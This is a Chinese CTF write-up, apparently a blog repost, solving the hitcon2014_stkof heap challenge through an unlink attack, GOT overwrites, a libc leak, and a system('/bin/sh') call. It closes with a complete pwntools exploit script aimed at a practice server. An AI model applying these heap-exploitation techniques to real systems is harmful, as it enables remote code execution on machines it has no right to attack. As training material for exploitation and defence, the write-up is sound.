其他分享
首页 > 其他分享> > hitcon2014_stkof

hitcon2014_stkof

作者:互联网

hitcon2014_stkof

使用checksec查看:
在这里插入图片描述

开启了Canary和栈不可执行,没有开启PIE。

先运行一下看看,发现是直接可以输入的,什么提示也没有,那么先拉进IDA中看:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  signed int v5; // [rsp+Ch] [rbp-74h]
  char nptr; // [rsp+10h] [rbp-70h]
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  while ( fgets(&nptr, 10, stdin) )
  {
    v3 = atoi(&nptr);
    if ( v3 == 2 )
    {
      v5 = edit();
      goto LABEL_14;
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        v5 = delete();
        goto LABEL_14;
      }
      if ( v3 == 4 )
      {
        v5 = show();
        goto LABEL_14;
      }
    }
    else if ( v3 == 1 )
    {
      v5 = add();
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}

看了个大概,是一道堆题,这里我已经将函数重命名了,接下来分步看。

首先是sub_4009E8()
在这里插入图片描述

sub_400B07()
在这里插入图片描述

sub_400BA9()
在这里插入图片描述

sub_400936()
在这里插入图片描述

接下来先看下bss段:
在这里插入图片描述

题目思路

步骤解析

首先创建三个chunk:0x90、0x90、0x10,看下heap的布局情况

在这里插入图片描述

发现并没有将我们的两个0x90chunk连在一起,这里需要先申请一个chunk绕过限制。

绕过后的堆布局如下:

在这里插入图片描述

这里还需要注意的是该程序并没有chunk0,是从chunk1开始的

接着就需要构造fake_chunk,进行unlink了,此处可以先将chunk4内容修改为/bin/sh\x00,或者之后再修改也没有问题

fake_chunk = p64(0)+p64(0x91) + p64(bss_addr-0x18) + p64(bss_addr-0x10) fake_chunk = fake_chunk.ljust(0x90,b'M') fake_chunk += p64(0x90) + p64(0xa0)

这里bss_addr0x602150,并不是0x602140,因为我们修改的是chunk2,前面还需要0x10的空间,这0x10的是存放chunk0和chunk1的地址的。

在这里插入图片描述

delete(3)完成unlink,堆布局如下:

在这里插入图片描述

此时edit chunk2就可以修改各个chunk指向的地址。

payload = p64(0) + p64(strlen_got) + p64(free_got) edit(2,0x18,payload) edit(0,0x8,p64(puts_plt)) show(1)

布局覆盖strlen@gotputs@plt泄露free@got所指向的地址,获得真实libc的地址。

在这里插入图片描述

这里还有个坑,有个OK需要接收,之后才是泄露的free@got地址

得到libc地址之后就可以获取system地址,覆盖free@got进行getshell

在这里插入图片描述

完整exp

from pwn import *

#start
r = remote("node4.buuoj.cn",26925)
# r = process("../buu/hitcon2014_stkof")
elf = ELF("../buu/hitcon2014_stkof")
libc = ELF("../buu/ubuntu16(64).so")
context.log_level='debug'

def add(size):
   r.sendline('1')
   r.sendline(str(size))
   r.recvuntil('OK')
 
def edit(index,size,content):
   r.sendline('2')
   r.sendline(str(index))
   r.sendline(str(size))
   r.send(content)
   r.recvuntil('OK')
 
def delete(index):
   r.sendline('3')
   r.sendline(str(index))

def show(index):
   r.sendline('4')
   r.sendline(str(index))
   r.recvuntil('OK')

#params
bss_addr = 0x602150
puts_plt = elf.plt['puts']
free_got = elf.got['free']
strlen_got = elf.got['strlen']

add(0x100) #1
add(0x90) #2
add(0x90) #3
add(0x10) #4
# gdb.attach(r)

edit(4,0x8,b'/bin/sh\x00')

fake_chunk = p64(0)+p64(0x91) + p64(bss_addr-0x18) + p64(bss_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)

edit(2,0xa0,fake_chunk) 
# gdb.attach(r)
delete(3)
# gdb.attach(r)

payload = p64(0) + p64(strlen_got) + p64(free_got)
edit(2,0x18,payload)
# gdb.attach(r)
edit(0,0x8,p64(puts_plt))
# gdb.attach(r)
show(1)
r.recvline()
free_addr = u64(r.recv(6).ljust(8,b'\x00'))

#libc
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

edit(1,0x8,p64(system_addr))
delete(4)

r.interactive()

标签:stkof,p64,edit,chunk,free,hitcon2014,fake,got
来源: https://blog.csdn.net/m0sway/article/details/122448668